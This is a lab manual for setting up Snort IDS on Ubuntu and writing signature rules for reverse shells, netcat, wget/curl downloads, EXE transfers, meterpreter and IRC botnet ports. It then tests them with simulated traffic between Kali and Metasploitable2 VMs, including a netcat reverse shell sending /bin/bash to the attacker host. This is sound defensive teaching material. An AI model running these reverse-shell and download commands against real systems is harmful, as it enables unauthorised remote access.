

Experiment 6: Set up a network intrusion detection system to analyze network traffic for malware-related signatures and generate alerts on suspicious activity

Malware Traffic Detection using Snort IDS

To install and configure Snort IDS on Ubuntu and detect malware-related network signatures such as reverse shells, suspicious file downloads, and C2-like communication within a local network generating alerts for suspicious activity.

Lab Setup

- ✓ Ubuntu Snort IDS (Monitoring)
- ✓ Kali Linux Attacker + Malware Traffic Generator
- ✓ Metasploitable2 Victim System

Step 1: Configure Network

Set all VMs in Host-only network.

Check Ips on Ubuntu, kali and Metasploitable2

ifconfig

Example:

Kali: 192.168.45.135

Ubuntu: 192.168.45.136

Metasploitable2: 192.168.45.137

Test connectivity:

ping 192.168.45.135

Step 2: Install Snort on Ubuntu

```
sudo apt update
sudo apt install snort -y
```

Check Snort version:

```
snort -V
```

Step 3: Configure Snort HOME_NET

Edit configuration:

```
sudo nano /etc/snort/snort.conf
```

Set:

```
ipvar HOME_NET 192.168.45.0/24
```

Save.

Step 4: Add Malware Signature Rules

Edit rules file:

```
sudo nano /etc/snort/rules/local.rules
```

Add these malware-related offline rules:

Rule 1: Reverse Shell Detection (Port 4444)

```
alert tcp any any -> $HOME_NET 4444 (msg:"MALWARE Reverse Shell
Attempt Detected (Port 4444)"; sid:3000001; rev:1;)
```

Rule 2: Netcat Backdoor Traffic Detection

```
alert tcp any any -> $HOME_NET any (msg:"MALWARE Netcat Keyword
Detected"; content:"nc "; nocase; sid:3000002; rev:1;)
```

Rule 3: Suspicious Bash Shell Execution

```
alert tcp any any -> $HOME_NET any (msg:"MALWARE Bash Shell  
Execution Pattern Detected"; content:"/bin/bash"; nocase; sid:3000003;  
rev:1;)
```

Rule 4: Suspicious Command Download (wget)

```
alert tcp any any -> $HOME_NET any (msg:"MALWARE Downloader  
Command Detected (wget)"; content:"wget"; nocase; sid:3000004; rev:1;)
```

Rule 5: Suspicious Command Download (curl)

```
alert tcp any any -> $HOME_NET any (msg:"MALWARE Downloader  
Command Detected (curl)"; content:"curl"; nocase; sid:3000005; rev:1;)
```

Rule 6: Detect Suspicious HTTP EXE Download

```
alert tcp any any -> $HOME_NET 80 (msg:"MALWARE Possible EXE File  
Transfer Detected"; flow:to_client,established; content:".exe";  
sid:3000006; rev:1;)
```

Rule 7: Detect Meterpreter Payload Keyword

```
alert tcp any any -> $HOME_NET any (msg:"MALWARE Meterpreter  
Payload Detected"; content:"meterpreter"; nocase; sid:3000007;  
rev:1;)
```

Rule 8: Detect IRC Botnet Port

```
alert tcp any any -> $HOME_NET 6667 (msg:"MALWARE Possible IRC Botnet  
Traffic"; sid:3000008; rev:1;)
```

Save and exit.

Step 5: Test Snort Configuration

```
sudo snort -T -c /etc/snort/snort.conf
```

Expected Output:

Snort successfully validated the configuration. Then your set rules are correct.

Step 6: Run Snort in IDS Mode

Find interface name:

```
ip link
```

Example: eth0 or ens33

Run Snort:

```
sudo snort -A console -q -c /etc/snort/snort.conf -i ens33
```

Now Snort is actively monitoring traffic.

Step 7: Generate Malware-Like Traffic

✓ Test 1: Reverse Shell Simulation (Netcat)

On Kali (Listener):

```
nc -lvnp 4444
```

On Metasploitable2 (Victim):

```
nc 192.168.45.135 4444 -e /bin/bash
```

Expected Snort Alert:

MALWARE Reverse Shell Attempt Detected

✓ Test 2: Netcat Keyword (NC)

On Kali (Listener):

nc -lvnp 1234

On Metasploitable2 (Victim):

echo "nc test" | nc 192.168.45.135 1234

Expected Snort Alert:

MALWARE Netcat Keyword Detected

✓ Test 3: /bin/bash

On Kali (Listener):

nc -lvnp 1234

On Metasploitable2 (Victim):

echo "/bin/bash" | nc 192.168.45.135 1234

Expected Snort Alert:

MALWARE Bash Shell Execution pattern Detected

✓ Test 4: Simulate Malware File

Transfer (Fake EXE) On Kali create

a fake exe:

echo "fake malware file" > malware.exe

Start local HTTP server (offline):

python3 -m http.server 80

On Metasploitable2 download file:

wget http://<Kali IP>/malware.exe

Expected Snort Alert:

**MALWARE Possible EXE File Transfer
Detected**

**MALWARE Downloader Command
Detected (wget)**

✓ **Test 5: Simulate Curl Based**

Malware Downloader

On Metasploitable2:

curl http://<Kali IP>/malware.exe

Expected Snort Alert:

MALWARE Downloader Command Detected (curl)

✓ **Test 6: Meterpreter Download**

On kali

Nc -lvnp 1234

On Metasploitable2:

Echo "meterpreter" | nc <kali-ip> 1234

Expected Snort Alert:

MALWARE Meterpreter Payload Detected

✓ Test 7: Simulate IRC Botnet

Communication On Kali run

listener:

```
nc -lvp 6667
```

On Metasploitable2 connect:

```
nc 192.168.45.135 6667
```

Expected Snort Alert:

MALWARE Possible IRC Botnet Traffic

Step 8: View Snort Alerts Log

To check alert file:

```
sudo cat /var/log/snort/alert
```

To monitor continuously:

```
sudo tail -f /var/log/snort/alert
```

Result

Snort IDS installed on Ubuntu successfully detected malware-like traffic patterns such as reverse shell communication, suspicious downloader commands, fake malware file transfer, and botnet-style communication without requiring internet access.

Conclusion

This experiment demonstrates how Snort performs signature-based malware detection in an offline network by analyzing packet content and matching it with malware-related IDS rules.